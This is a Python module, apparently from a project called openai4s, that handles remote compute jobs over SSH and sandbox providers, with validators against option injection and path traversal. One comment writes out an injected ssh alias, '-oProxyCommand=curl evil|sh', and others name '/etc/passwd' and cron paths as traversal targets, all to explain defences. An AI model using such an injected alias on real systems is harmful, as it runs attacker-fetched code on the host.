"""Host-side remote-compute transport. The worker's ``host.compute`` SDK routes every call to ``host_call("compute_", [kw])``; the dispatcher forwards those here. This module owns the real work the SDK only describes: * provider discovery — scan ``skills/remote-compute-/provider.json`` for an ``id`` and a ``provider.py`` that exports ``PROVIDER``. * byoc transport — spawn the confined ``openai4s_compute_provider`` helper (oneshot mode) per op, staging inputs/outputs through a temp dir and handing the credential on the helper's stdin so the process environment is never a secret carrier. * ssh transport — run a job script / one-off command over an SSH alias. * on-demand harvest — ``result()`` polls the remote and unpacks terminal outputs into ``hpc//``. Two provider families share one manager: "byoc:" bring-your-own-compute sandbox (e.g. "byoc:nvidia"). "ssh:" a job over an existing SSH connection. Terminal states are mutually exclusive and never optimistic — the vocabulary and its transition table live in ``compute/states.py`` and are enforced when a status is written. ``succeeded`` requires evidence on both halves: a verified rc==0 *and* every declared output harvested and hashed. A job that exits 0 while a pattern it declared in ``outputs`` matched nothing is ``failed`` with ``termination_reason: outputs_unverified``. ``unknown`` means the outcome could not be established. It is *not* a synonym for failure, it must never be resolved to success by default, and it counts as live — something may be running out there, and forgetting it is how a sandbox bills unnoticed. Every path that cannot produce an exit code lands there deliberately. Jobs are durable. A remote job outlives this process — an ssh job keeps running under ``nohup``, a byoc sandbox keeps billing — so every job is recorded in ``compute_jobs`` before it is submitted, its provider receipt (remote pid / sandbox id) is stored on acknowledgement, and every transition appends to a sequenced ``compute_job_events`` stream. A restart rehydrates whatever was live and ``reconcile()`` surfaces it; nothing is resubmitted automatically, because a job in ``submitted`` may or may not be running and guessing wrong costs either a duplicate charge or a lost result. Known limit, stated so it is not mistaken for a guarantee: no OS boundary is applied to the byoc helper — see ``confinement_status``. """ from __future__ import annotations import errno import json import os import re import shlex import shutil import sqlite3 import stat import subprocess import sys import tarfile import tempfile import threading import time import uuid from pathlib import Path from typing import Any from openai4s.compute import manifest, registry, states from openai4s.compute.safe_archive import UnsafeArchiveError, safe_extract_tar # Repo-root openai4s_compute_provider (the confined helper package). _HELPER_MAIN = str( Path(__file__).resolve().parent.parent.parent / "openai4s_compute_provider" / "__main__.py" ) # Job-wrapper templates (ported alongside this module). _TMPL_DIR = Path(__file__).resolve().parent / "templates" # Mirrors OPENAI4S_KERNEL_SANDBOX's vocabulary: auto | enforce | off. _CONFINEMENT_ENV = "OPENAI4S_COMPUTE_CONFINEMENT" _VALID_CONFINEMENT = frozenset({"auto", "enforce", "off"}) def _confinement_mode(value: str | None = None) -> str: mode = str(value if value is not None else os.environ.get(_CONFINEMENT_ENV, "auto")) mode = mode.strip().lower() or "auto" if mode not in _VALID_CONFINEMENT: raise ComputeError( f"{_CONFINEMENT_ENV} must be one of " f"{', '.join(sorted(_VALID_CONFINEMENT))}; got {mode!r}", "invalid_request", ) return mode # The vocabulary lives in `compute.states` (the kernel-side SDK and the # gateway read the same names); these bindings keep this module's importers # working. `indeterminate` on the error is the explicit signal, and # `_INDETERMINATE_KINDS` is merely its default. _INDETERMINATE_KINDS = states.INDETERMINATE_KINDS CANCEL_INDETERMINATE_REASONS = states.CANCEL_INDETERMINATE_REASONS class ComputeError(RuntimeError): """Surface as {'error', 'error_kind', ...} on the wire; the SDK turns a non-status error into a RuntimeError carrying .error_kind. ``indeterminate`` is the field that decides whether a failed submit is recorded as terminal ``failed`` or as live ``unknown``. It is carried explicitly rather than inferred from ``kind`` because the two questions are different: ``kind`` says what went wrong, ``indeterminate`` says whether work may nonetheless be running (and billing) on the other end. A helper that dies before writing its reply is ``transient`` by kind and thoroughly indeterminate by fact. """ def __init__( self, msg: str, kind: str = "transient", concurrency: dict | None = None, *, indeterminate: bool | None = None, ): super().__init__(msg) self.error_kind = kind self.concurrency = concurrency self.indeterminate = ( (kind in _INDETERMINATE_KINDS) if indeterminate is None else bool(indeterminate) ) # Set by _run_helper when the stage dir still names a sandbox: a live # billable resource the reply never got to mention. self.sandbox_id: str | None = None # Ceiling on one direct scp. The job path stages inputs through a manifest and # harvests through the safe-archive extractor; this compatibility surface has # neither, so it gets an explicit cap instead of the implicit "whatever fits". MAX_TRANSFER_BYTES = 512 * 1024 * 1024 # How long before the sandbox expires the wrapper must stop the job so that # taring the outputs and writing .phase still fit. The wrapper defaults to the # same value; sending it explicitly keeps the policy on the host, where the # harvest actually happens. HARVEST_MARGIN_S = 600 # Grace between SIGTERM and SIGKILL for the job's process group. TERM_GRACE_S = 60 # GNU `timeout` reports expiry with this exit code. The ssh job body wraps the # command in it whenever a deadline is requested. _TIMEOUT_EXIT_CODE = 124 # The confined helper's own verdict when the boundary the host applied does not # hold from inside. It exits before reading the credential and before any # provider call, so nothing has happened when this is seen. _EXIT_UNCONFINED = 71 def _helper_exec_env( environ: dict[str, str], declared_secret_env: list[str] | tuple[str, ...] = () ) -> dict[str, str]: """The environment the provider helper is exec'd with. The helper's own `scrub_secret_env` removes credential-shaped names and the baseline secret prefixes from `os.environ` before it imports provider code, and that was taken to mean provider code cannot read them. It edits the in-process copy only. The exec-time block the kernel keeps is untouched and readable to the process itself -- `sysctl(KERN_PROCARGS2)` on its own pid on macOS, `/proc/self/environ` on Linux -- and no sandbox profile refuses a process its own arguments. So a daemon LLM key configured by environment variable or `.env`, which this used to pass through (only `NGC_`, `NVIDIA_` and `HF_` were stripped), was one read away from a provider shim that has the network by design. The same rule is applied here, before exec, so the scrub is true of the block rather than of the copy: the helper's own predicate (imported, so the two cannot drift) plus the provider's declared `secret_env`, whose values reach the helper on stdin. Nothing the helper runs could have used a removed variable anyway -- its first act is to drop them. """ from openai4s_compute_provider._constants import ( BASELINE_SECRET_PREFIXES, CRED_KEY_RE, ) declared = set(declared_secret_env) return { name: value for name, value in environ.items() if name not in declared and not name.startswith(BASELINE_SECRET_PREFIXES) and not CRED_KEY_RE.search(name) } def _safe_remote_path(value: str, *, label: str) -> str: """A remote path that cannot walk out of where the caller said it was going. `scp` happily accepts `../../etc/passwd` and a shell-quoted path is still a path — quoting stops word-splitting, not traversal. These are the same rejections the archive extractor applies, for the same reason: the string came from an agent, and the remote host is not ours to trust. """ text = str(value or "").strip() if not text: raise ComputeError(f"{label} must not be empty", "invalid_request") if "\x00" in text: raise ComputeError(f"{label} must not contain a NUL byte", "invalid_request") if "\n" in text or "\r" in text: raise ComputeError(f"{label} must not contain a newline", "invalid_request") if ".." in Path(text).parts: raise ComputeError( f"{label} must not contain '..' ({text!r})", "invalid_request" ) return text #: An ssh destination: an optional user, then a host or a ~/.ssh/config alias. #: Deliberately not a general string. `ssh` parses a leading `-` as an option, #: so an "alias" of `-oProxyCommand=curl evil|sh` runs an arbitrary command on #: *this* machine before any connection is attempted -- and the alias reaches #: `_split` from a provider string an agent supplies. _SSH_ALIAS = re.compile(r"^(?:[A-Za-z0-9._-]+@)?[A-Za-z0-9][A-Za-z0-9._-]*$") def _safe_alias(value: str) -> str: """An ssh destination that cannot be read as an option or a second word.""" text = str(value or "").strip() if not text: raise ComputeError("ssh alias must not be empty", "invalid_request") if not _SSH_ALIAS.fullmatch(text): raise ComputeError( f"ssh alias {text!r} is not a plain [user@]host name; " "an alias that begins with '-' is parsed by ssh as an option", "invalid_request", ) return text def _safe_stage_name(value: str, *, label: str) -> str: """A staged input lands flat in the archive root, so its name is a name. ``work / dst`` is a join, and a join with an absolute path discards the left side entirely — ``work / "/etc/cron.d/x"`` is ``/etc/cron.d/x``. A relative ``../`` walks out just as effectively. Both write wherever the daemon can write, before the archive is ever built, and the caller picking the name is an agent. """ text = str(value or "").strip() if not text: raise ComputeError(f"{label} must not be empty", "invalid_request") if "\x00" in text: raise ComputeError(f"{label} must not contain a NUL byte", "invalid_request") if text in (".", ".."): raise ComputeError(f"{label} must name a file ({text!r})", "invalid_request") if os.path.isabs(text) or Path(text).name != text: raise ComputeError( f"{label} must be a bare filename with no directory part ({text!r}); " f"staged inputs are placed flat in the job's work directory", "invalid_request", ) return text def _declared_input_versions(inputs: Any) -> list[str]: """Ordered, de-duplicated Artifact versions explicitly staged by a job.""" versions: list[str] = [] for item in inputs or (): if not isinstance(item, dict): continue version_id = str(item.get("version_id") or "").strip() if version_id and version_id not in versions: versions.append(version_id) return versions def _sandbox_lifetime_s(spec: Any) -> int: """The container lifetime the caller declared, in seconds. Documented on ``host.compute.create`` as ``timeout`` inside ``provider_params``. Absent or unreadable yields 0, which leaves the wrapper's watchdog unarmed — the same behaviour as before, rather than a guessed deadline that could kill a job early. """ if not isinstance(spec, dict): return 0 for key in ("timeout", "timeout_seconds", "lifetime_s"): try: value = int(spec.get(key) or 0) except (TypeError, ValueError): continue if value > 0: return value return 0 # Per-file ceiling on what an ssh harvest pulls back automatically, matching # what the bundled skill documents. Anything larger stays on the cluster — it # is usually already where the next job wants it — and comes back named in # `left_on_remote_files` so it can still be chained or fetched deliberately. HARVEST_MAX_FILE_BYTES = 100 * 1024 * 1024 # A ceiling on the *compressed* archive the remote builds, checked before it is # pulled. `safe_extract_tar` bounds the decompressed size and member count, but # scp writes the whole compressed archive to local disk first — a job that # emitted thousands of under-per-file-ceiling files could exhaust the daemon's # disk before extraction ever rejects it. The remote reports the archive size in # its ack; a harvest over this is refused without downloading. HARVEST_MAX_ARCHIVE_BYTES = 4 * 1024 * 1024 * 1024 # How long a *transport* failure keeps a decided job's harvest retryable. The # job's exit code is known by then; only our copy of its files is missing, and # the archive is still on the remote. Both conditions must be met before the # harvest is written off as failed — see `_harvest_pending` for why neither # alone is the right unit. HARVEST_RETRY_MIN_ATTEMPTS = 3 HARVEST_RETRY_WINDOW_S = 900 # How much of a remote command's stderr is ever kept. Only a tail is reported, # and the transfer runs for as long as its timeout allows, so a remote that # writes stderr continuously would otherwise grow the daemon's heap without # bound while every byte-cap on the payload reports the transfer as fine. _STDERR_TAIL_BYTES = 64 * 1024 # The same ceiling for a remote command's *stdout*. Every caller here either # parses a short protocol line out of it or truncates it before returning, so # nothing legitimate comes close; what this bounds is a remote that never stops # talking. Head rather than tail, because stdout is the thing being parsed and # the answer arrives at the beginning. _REMOTE_STDOUT_CAP = 16 * 1024 * 1024 # How long `_run_capped` waits for its drain threads once the process is gone. # A shared budget rather than one per thread: a grandchild holding the pipes # open is the only case where they are not already at EOF, and the caller's # deadline should not be multiplied by however many streams there are. _DRAIN_JOIN_S = 2.0 # What `call_command` hands back. It is an introspection surface, not a # transport — the documented answer for a large result is to write it to a file # on the host and harvest that — so the reply has always been sliced. What is # new is that the slice says so. _CALL_COMMAND_CAP = 65536 # Staged inside the job's own work directory, so it is cleaned up with it. _HARVEST_ARCHIVE = ".openai4s-harvest.tar.gz" # Control files the job's own machinery wrote. They are the *protocol*, not the # job's output, and re-harvesting them would put a second copy of the exit code # and the pgid into the artifact record. _HARVEST_EXCLUDES = ( _HARVEST_ARCHIVE, f"{_HARVEST_ARCHIVE}.tmp", ".openai4s-harvest.list", ".openai4s-harvest.skipped", ".openai4s-harvest.stayed", "run.sh", ".rc", ".rc.tmp", ".pgid", ".pgid.tmp", ".timeout", ) _HARVEST_TAG = "OPENAI4S_HARVEST" #: Path lines are tagged rather than bare so a path containing a space, or a #: chatty login profile, cannot be confused for one another. _HARVEST_SKIPPED_TAG = "OPENAI4S_HARVEST_SKIPPED" _HARVEST_STAYED_TAG = "OPENAI4S_HARVEST_STAYED" def _find_stay_clause(patterns: list[str]) -> tuple[str, str]: """``(exclusion, selection)`` find expressions for stay-remote globs. Path *and* basename, mirroring ``manifest.matches_any`` — a declaration that keeps a file out of the reconciler must keep the same file out of the archive, or the two halves of the contract disagree. """ if not patterns: return "", "" exclusion_parts: list[str] = [] selection_parts: list[str] = [] for pattern in patterns: rel = pattern.lstrip("/") if rel.startswith("./"): rel = rel[2:] path_form = shlex.quote(f"./{rel}") name_form = shlex.quote(rel) exclusion_parts.append(f"! -path {path_form} ! -name {name_form}") selection_parts.append(f"-path {path_form} -o -name {name_form}") return ( " ".join(exclusion_parts), "\\( " + " -o ".join(selection_parts) + " \\)", ) def _ssh_harvest_script( workdir: str, max_file_bytes: int, exclude_patterns: list[str] | None = None ) -> str: """Stage the job's work directory into one archive, remotely. One archive rather than a file list: it is one transfer to check the return code of, and it goes through the same enumerate-then-extract safety gate as the byoc harvest. Oversized files are enumerated and *excluded* rather than silently truncating the transfer, so the caller learns what stayed behind. ``exclude_patterns`` are the caller's ``residency: remote`` declarations. They are applied *here*, in the ``find`` that builds the archive, because that is the only place the bytes can be stopped before they move. Excluding them after the download would satisfy the manifest and violate the promise. """ patterns = list(exclude_patterns or []) # Match the control files by their exact path at the work-directory *root*, # not by basename at any depth. `-name` dropped a declared output like # `results/run.sh` or `checkpoint/.timeout` anywhere in the tree, so # reconcile reported it missing and turned an exit-0 job into `failed`. The # wrapper files are always at the root, so an exact `-path ./name` is right. excludes = " ".join( f"! -path {shlex.quote('./' + name)}" for name in _HARVEST_EXCLUDES ) stay_exclusion, stay_selection = _find_stay_clause(patterns) # `find -size +Nc` is POSIX and counts bytes; `-size +Nk` would round. size_test = f"-size +{int(max_file_bytes)}c" listing = ".openai4s-harvest.list" skipped = ".openai4s-harvest.skipped" stayed = ".openai4s-harvest.stayed" stay_scan = ( f"find . -type f {excludes} {stay_selection} -print > {stayed} 2>/dev/null; " if stay_selection else f": > {stayed}; " ) return ( f"cd {workdir} 2>/dev/null || " f"{{ echo 'openai4s: work directory is gone' >&2; exit 3; }}; " f"rm -f {_HARVEST_ARCHIVE} {_HARVEST_ARCHIVE}.tmp {listing} {skipped} " f"{stayed}; " f"{stay_scan}" f"find . -type f {excludes} {stay_exclusion} {size_test} " f"-print > {skipped} 2>/dev/null; " # NUL-delimited, not newline: a filename containing a newline would # otherwise split into two `-T` entries, and the second — e.g. # `/etc/passwd` — would pull a file from outside the workdir into the # archive (tar strips the leading slash, so `safe_extract_tar` would take # it as `etc/passwd`). `--null` reads names verbatim between NULs, which # also stops a leading-dash filename from being read as a tar option. f"find . -type f {excludes} {stay_exclusion} ! {size_test} " f"-print0 > {listing} 2>/dev/null; " f"if [ -s {listing} ]; then " # Same tar hardening the byoc wrapper applies, for the same reason: a # login profile is free to export TAR_OPTIONS or GZIP, and GNU tar and # its gzip both honour them, so the archive's shape would be partly # chosen by the remote environment. COPYFILE_DISABLE additionally stops # bsdtar (macOS) from emitting an AppleDouble `._name` sidecar beside # every file, which would arrive as a phantom extra "output". f"if env -u TAR_OPTIONS -u GZIP COPYFILE_DISABLE=1 " f"tar --null -czf {_HARVEST_ARCHIVE}.tmp -T {listing} 2>/dev/null; then " f"mv -f {_HARVEST_ARCHIVE}.tmp {_HARVEST_ARCHIVE}; " # Report the compressed archive size so the host can refuse a download # that would exceed its disk cap before scp writes a single byte. f'echo "{_HARVEST_TAG} archive ' f'$(wc -c < {_HARVEST_ARCHIVE} 2>/dev/null || echo 0)"; ' f"else rm -f {_HARVEST_ARCHIVE}.tmp; " f"echo 'openai4s: tar failed' >&2; exit 4; fi; " f"else echo '{_HARVEST_TAG} empty'; fi; " # The paths left behind, one per line, with find's leading "./" removed # so they read the same as the manifest's relative paths. f"sed 's|^\\./|{_HARVEST_SKIPPED_TAG} |' {skipped} 2>/dev/null; " f"sed 's|^\\./|{_HARVEST_STAYED_TAG} |' {stayed} 2>/dev/null; " f"rm -f {listing} {skipped} {stayed}; exit 0" ) def _prune_local_matches(dest: Path, patterns: list[str]) -> list[str]: """Delete anything under ``dest`` a stay-remote glob covers. Returns the relative paths removed. Silence here would be the worst of both worlds — the file gone locally *and* unmentioned — so the caller reports them exactly as if the remote had excluded them. """ removed: list[str] = [] for path in sorted(dest.rglob("*")): if not path.is_file(): continue rel = path.relative_to(dest).as_posix() if manifest.matches_any(rel, patterns): try: path.unlink() except OSError: continue removed.append(rel) return removed def _parse_harvest_ack(stdout: str) -> tuple[str, list[str], list[str], int | None]: """Split the harvest reply into ``(marker, oversized, stayed, archive_bytes)``. The tagged forms are checked before the bare marker because both begin with it; an untagged line after a marker is still read as oversized, which keeps a harvest staged by an older wrapper readable. ``archive_bytes`` is the compressed archive size the ``archive`` marker now carries, or ``None`` for an older wrapper that did not report it. """ marker = "" oversized: list[str] = [] stayed: list[str] = [] archive_bytes: int | None = None for line in stdout.splitlines(): text = line.strip() if not text: continue if text.startswith(f"{_HARVEST_SKIPPED_TAG} "): oversized.append(text[len(_HARVEST_SKIPPED_TAG) + 1 :]) continue if text.startswith(f"{_HARVEST_STAYED_TAG} "): stayed.append(text[len(_HARVEST_STAYED_TAG) + 1 :]) continue if text.startswith(_HARVEST_TAG): parts = text.split() marker = parts[1] if len(parts) > 1 else "" if marker == "archive" and len(parts) > 2 and parts[2].isdigit(): archive_bytes = int(parts[2]) continue if marker: oversized.append(text) return marker, oversized, stayed, archive_bytes # The submit acknowledgement line. Tagged so a login banner, a `.bashrc` echo, # or a motd cannot be mistaken for the job's identity — an untagged `echo $!` # meant the first line of any chatty profile became the "pid" we later signalled. _SSH_SUBMIT_TAG = "OPENAI4S_JOB" def _parse_ssh_submit_ack(stdout: str) -> tuple[str, str]: """Pull ``(pid, pgid)`` out of the tagged acknowledgement line. Returns empty strings when the host said nothing identifiable, which the caller must treat as an indeterminate submit rather than a success. """ for line in reversed(stdout.splitlines()): parts = line.split() if len(parts) >= 2 and parts[0] == _SSH_SUBMIT_TAG: pid = parts[1].strip() pgid = parts[2].strip() if len(parts) >= 3 else "" if pid.isdigit(): # 0 is "the caller's own group" and 1 is init's; a job's group # can be neither, and recording one would arm a cancel that # signals something catastrophic. if not (pgid.isdigit() and int(pgid) > 1): pgid = "" return pid, pgid return "", "" def _ssh_cancel_script(pgid: str, pid: str = "") -> str: """TERM the job's process group, escalate to KILL, then confirm. Four things this replaces, all of which let a cancel report success over a job that was still running: * ``kill -TERM `` signalled only the outer ``bash -c``. The whole command tree — `run.sh` and every process it started, which are the ones actually holding the allocation — lives in the job's process group, and only ``kill -- -`` reaches it. * the pgid was *assumed* to equal ``$!``. It does not in a non-interactive login shell, so the group being signalled frequently did not exist. This script is now handed the group the host itself reported at submit. * a process that ignores SIGTERM was never escalated to SIGKILL. * nothing checked afterwards. The final ``kill -0`` is what makes the non-zero exit — and therefore the caller's ``unknown_state`` — mean "we looked, and it is still there". ``pid`` is the job's own process, signalled alongside the group as a belt: if the group turned out to be shared or stale, the leader still dies, and the confirmation below checks both. """ group = shlex.quote(str(pgid)) leader = shlex.quote(str(pid or "")) return ( f"pgid={group}; pid={leader}; " # A job submitted before the pgid was recorded still has one; ask the # host for it rather than falling back to signalling the pid as if it # were a group. If the process is already gone `ps` says nothing, and # `alive` below is then false — which is a successful cancel. f'[ -n "$pgid" ] || pgid=$(ps -o pgid= -p "$pid" 2>/dev/null ' f"| tr -d ' \\t\\n'); " # 0 means "my own process group" and 1 is init's. Signalling either is # catastrophic and neither can ever be a job's group, so an # unresolvable pgid becomes *no* group rather than a dangerous one. f"case \"$pgid\" in ''|0|1|-*) pgid= ;; esac; " # `kill -0` first: a job that already finished is a successful cancel, # not an error. Both identities are probed, because either one going # quiet is not on its own proof the other did. # # No `--` before the negative pid. dash's `kill` builtin rejects it # outright ("Illegal number: -"), and every signal here was wrapped in # `2>/dev/null`, so on a dash login shell — Debian/Ubuntu's /bin/sh, # and the login shell of most slim containers — nothing was ever # signalled, the follow-up `kill -0` failed the same way, and the # script exited 0. The user was told the allocation was freed. The # signal name already consumed the option slot, so `-PGID` is # unambiguous without it, and this form works in dash, ash and bash. f"alive() {{ " f'if [ -n "$pgid" ] && kill -0 -"$pgid" 2>/dev/null; then return 0; fi; ' f'[ -n "$pid" ] && kill -0 "$pid" 2>/dev/null; }}; ' f"sig() {{ " f'[ -n "$pgid" ] && kill -"$1" -"$pgid" 2>/dev/null; ' f'[ -n "$pid" ] && kill -"$1" "$pid" 2>/dev/null; return 0; }}; ' f"alive || exit 0; " f"sig TERM; " f"for _ in 1 2 3 4 5 6 7 8 9 10; do " f"alive || exit 0; sleep 1; done; " f"sig KILL; sleep 1; " f"if alive; then " f"echo 'process group survived SIGKILL' >&2; exit 1; fi; exit 0" ) class _BoundedSink: """Read everything a stream produces; keep at most ``cap`` bytes of it. Draining and *retaining* are two different requirements, and conflating them is the whole bug this exists for. The pipe has to be drained or the remote blocks on write and the command never finishes; nothing says the bytes have to be kept. So the excess is read and dropped, and how much was dropped is remembered — a truncation nobody mentions reads as "that was all the output there was". ``keep="head"`` for stdout, which is parsed and whose answer arrives first; ``keep="tail"`` for stderr, whose last words are the ones that explain a failure. """ def __init__(self, cap: int, *, keep: str) -> None: self._cap = max(0, int(cap)) self._keep = keep self._buf = bytearray() self._dropped = 0 self._lock = threading.Lock() def feed(self, chunk: bytes) -> None: with self._lock: if self._keep == "head": room = max(0, self._cap - len(self._buf)) if room: self._buf.extend(chunk[:room]) self._dropped += len(chunk) - min(room, len(chunk)) else: self._buf.extend(chunk) excess = len(self._buf) - self._cap if excess > 0: del self._buf[:excess] self._dropped += excess @property def truncated(self) -> bool: with self._lock: return self._dropped > 0 def value(self, *, annotate: bool = False) -> bytes: """The retained bytes. ``annotate`` states the elision in-band. Only ever set for stderr: stdout is compared and parsed, so a note appended to it would turn a `RUNNING` probe answer into something no branch matches. """ with self._lock: body = bytes(self._buf) dropped = self._dropped if not (annotate and dropped): return body return f"...({dropped} earlier stderr bytes discarded)\n".encode() + body def _drain(stream: Any, sink: _BoundedSink) -> None: try: if stream is not None: for chunk in iter(lambda: stream.read(65536), b""): sink.feed(chunk) except Exception: # noqa: BLE001 - draining is best-effort pass class CappedProcess(subprocess.CompletedProcess): """A ``CompletedProcess`` that says whether its output was cut short.""" def __init__( self, args: Any, returncode: int, stdout: bytes, stderr: bytes, *, stdout_truncated: bool = False, stderr_truncated: bool = False, ) -> None: super().__init__(args, returncode, stdout, stderr) self.stdout_truncated = stdout_truncated self.stderr_truncated = stderr_truncated def _run_capped( argv: list[str], *, timeout: float, input: bytes | None = None, stdout_cap: int | None = None, stderr_cap: int | None = None, ) -> CappedProcess: """``subprocess.run(capture_output=True)`` with the memory actually bounded. Every command this module runs against an ssh alias talks to a machine we do not control, and `capture_output=True` accumulates whatever that machine says in the daemon's heap until the timeout expires. A forced command or a chatty login profile — deliberate or merely misconfigured — therefore has a window measured in minutes to write as fast as the link allows, and the per-command timeout is the only thing bounding it. `ssh()` even truncates its result to 64 KiB *after* the fact, which bounds what the caller sees and not what the daemon allocated. The contract is deliberately `subprocess.run`'s: the same ``TimeoutExpired``/``OSError`` come out, so every existing handler still applies, and callers read ``.returncode``/``.stdout``/``.stderr`` unchanged. What differs is that the pipes are drained by their own threads into :class:`_BoundedSink`, so a stalled read cannot deadlock the other stream and the retained bytes have a ceiling. Over-cap output is dropped, not fatal: the process is left to finish normally, because killing it would turn "the remote was noisy" into a corrupted protocol answer. The kill is reserved for the deadline. The ceilings are read here rather than bound as default argument values, so the module constants stay a knob at runtime instead of being frozen into this signature at import. """ stdout_cap = _REMOTE_STDOUT_CAP if stdout_cap is None else stdout_cap stderr_cap = _STDERR_TAIL_BYTES if stderr_cap is None else stderr_cap popen_kwargs: dict[str, Any] = { "stdout": subprocess.PIPE, "stderr": subprocess.PIPE, } if input is not None: popen_kwargs["stdin"] = subprocess.PIPE proc = subprocess.Popen(argv, **popen_kwargs) out = _BoundedSink(stdout_cap, keep="head") err = _BoundedSink(stderr_cap, keep="tail") workers = [ threading.Thread(target=_drain, args=(proc.stdout, out), daemon=True), threading.Thread(target=_drain, args=(proc.stderr, err), daemon=True), ] def _feed_stdin() -> None: # Its own thread: a script larger than the pipe buffer would otherwise # block here while the child is blocked writing output nobody is # reading yet. try: if proc.stdin is not None: proc.stdin.write(input or b"") except Exception: # noqa: BLE001 - a closed stdin is the child's answer pass finally: try: if proc.stdin is not None: proc.stdin.close() except Exception: # noqa: BLE001 pass if input is not None: workers.append(threading.Thread(target=_feed_stdin, daemon=True)) for worker in workers: worker.start() timed_out = {"v": False} def _watchdog() -> None: timed_out["v"] = True try: proc.kill() except Exception: # noqa: BLE001 pass watchdog = threading.Timer(timeout, _watchdog) watchdog.start() try: returncode = proc.wait() finally: watchdog.cancel() # One budget across all the drainers, not five seconds each. # # Normally they are already finished: the process exited, so its pipes # are at EOF. They are not when a *grandchild* inherited them and # outlived the kill — `sh -c "sleep 30"` on a shell that forks rather # than execs is exactly that — and then each drainer blocks until the # grandchild exits. Per-thread joins turned a 0.5s deadline into a 10s # return; a shared budget bounds the overshoot to `_DRAIN_JOIN_S` # whatever is holding the far end. Nothing is lost by not waiting: the # sinks are read under their own lock, and the threads are daemons. deadline = time.monotonic() + _DRAIN_JOIN_S for worker in workers: worker.join(timeout=max(0.0, deadline - time.monotonic())) if timed_out["v"]: raise subprocess.TimeoutExpired( argv, timeout, output=out.value(), stderr=err.value(annotate=True) ) return CappedProcess( argv, returncode, out.value(), err.value(annotate=True), stdout_truncated=out.truncated, stderr_truncated=err.truncated, ) def _now_ms() -> int: return int(time.time() * 1000) def _open_store(cfg: Any): """The Store this manager records jobs in. Resolved from cfg rather than injected because the dispatcher builds the manager lazily from cfg alone. Returns None rather than raising: a manager that cannot reach the database degrades to in-memory bookkeeping, which is the old behaviour — worse, but better than refusing to run a job at all. """ try: from openai4s.store import get_store return get_store(cfg.db_path) except Exception: # noqa: BLE001 return None def _discover_providers(skills_dir: Path) -> dict[str, dict]: """Map provider id -> {id, dir, provider_py, meta}. A provider is a ``remote-compute-`` skill dir with a ``provider.json`` (declaring its ``id``) and a ``provider.py`` exporting ``PROVIDER``.""" out: dict[str, dict] = {} if not skills_dir.exists(): return out for child in sorted(skills_dir.iterdir()): if not child.is_dir() or not child.name.startswith("remote-compute-"): continue # ssh is a built-in family (no confined helper), not a byoc provider. if child.name == "remote-compute-ssh": continue pj = child / "provider.json" pp = child / "provider.py" if not (pj.exists() and pp.exists()): continue try: meta = json.loads(pj.read_text("utf-8")) except (OSError, ValueError): continue pid = meta.get("id") if not pid: continue out[str(pid)] = { "id": str(pid), "dir": child, "provider_py": str(pp), "meta": meta, } return out def _rmtree_at(parent_fd: int, name: str) -> None: """Recursively remove ``name`` under ``parent_fd`` using only ``*at`` syscalls. ``shutil.rmtree`` takes a pathname and re-resolves it, so a cell that swaps the ``hpc`` parent for a symlink between the ``O_NOFOLLOW`` open of the root and the removal could redirect it outside the workspace. Anchoring every step to a directory fd removes that pathname re-resolution entirely. """ try: st = os.lstat(name, dir_fd=parent_fd) except FileNotFoundError: return if stat.S_ISDIR(st.st_mode): fd = os.open( name, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW, dir_fd=parent_fd ) try: for entry in os.listdir(fd): _rmtree_at(fd, entry) finally: os.close(fd) os.rmdir(name, dir_fd=parent_fd) else: # A symlink or plain file: unlink the entry itself, never its target. os.unlink(name, dir_fd=parent_fd) def _copytree_at(src: Path, parent_fd: int, name: str) -> None: """Copy ``src`` into a fresh directory ``name`` created under ``parent_fd``. The destination side uses ``*at`` syscalls so a swapped parent pathname cannot redirect the write outside the opened root (the cross-device fallback from :meth:`_publish_harvest`). Symlinks in ``src`` are skipped: the staging tree is host-built from the verified manifest, so a link has no place in a harvested result, and following one could leave the workspace. """ os.mkdir(name, 0o700, dir_fd=parent_fd) fd = os.open(name, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW, dir_fd=parent_fd) try: for entry in sorted(os.scandir(src), key=lambda e: e.name): if entry.is_symlink(): continue if entry.is_dir(follow_symlinks=False): _copytree_at(Path(entry.path), fd, entry.name) elif entry.is_file(follow_symlinks=False): dst_fd = os.open( entry.name, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o600, dir_fd=fd, ) with open(entry.path, "rb") as source, os.fdopen(dst_fd, "wb") as dest: shutil.copyfileobj(source, dest) finally: os.close(fd) class ComputeManager: """One per session/kernel. Owns provider discovery and durable job bookkeeping. Thread-safe for the handful of ops the dispatcher drives. There is no background poller: ``result()`` is what probes the remote and harvests. A job nobody polls is never harvested, which is why the SDK tells the agent to call ``.result()`` again rather than to wait. """ # The cancel script waits out a 10s SIGTERM grace period plus a second # after SIGKILL, so the ssh call needs headroom over that or the client # gives up before the remote has finished confirming. _CANCEL_TIMEOUT_S = 45 # Hard host-side ceiling on one helper op. The helper's own poll budget # bounds its .phase loop, not a wedged provider SDK socket. _HELPER_TIMEOUT_S = 300.0 def __init__(self, cfg: Any, store: Any = None, workspace: Any = None): self.cfg = cfg # The containment base for the direct scp surface. None falls back to # the process cwd, which is right for the CLI and wrong for nothing — # the Web path supplies the session workspace explicitly. self._workspace = workspace # Which session owns the jobs this manager creates. The workspace path is # a stable per-session identity (it survives a restart), so a recovered # job — and the destination its harvest is published to — is filtered to # the session that submitted it. None is the CLI / global context. self._owner_key = str(workspace) if workspace else None self._providers = _discover_providers(Path(cfg.skills_dir)) self._install_id = self._resolve_install_id() self._store = store if store is not None else _open_store(cfg) # In-memory view of the durable records. The database is the source of # truth; this is a cache so the hot path does not re-read on every poll. self._jobs: dict[str, dict] = {} # byoc sandbox reuse: provider-id -> sandbox_id (warm container). self._sandboxes: dict[str, str] = {} # When each warm sandbox expires, as an absolute epoch. Kept beside # `_sandboxes` rather than derived per submit because a *reused* # container has already spent part of its life: the second job into a # one-hour sandbox created forty minutes ago has twenty minutes, not # another hour. Only an absolute deadline can express that. self._sandbox_deadlines: dict[str, float] = {} self._lock = threading.RLock() self._limit: int | None = None # Harvest into the *session workspace*, which is what both the docs # ("harvests out.tar.gz back into the workspace under hpc//") # and the bundled skills describe. It used to land under the global # data dir, so every documented success path — harvest, then # `host.save_artifact(path)` on a featured file — hit "path escapes the # workspace" from the Host file service, which only resolves inside the # session root. A job could not publish its own outputs. # # Without a workspace (the CLI) the data dir is still the right home. self._hpc_root = Path(workspace or cfg.data_dir) / "hpc" self._hpc_root.mkdir(parents=True, 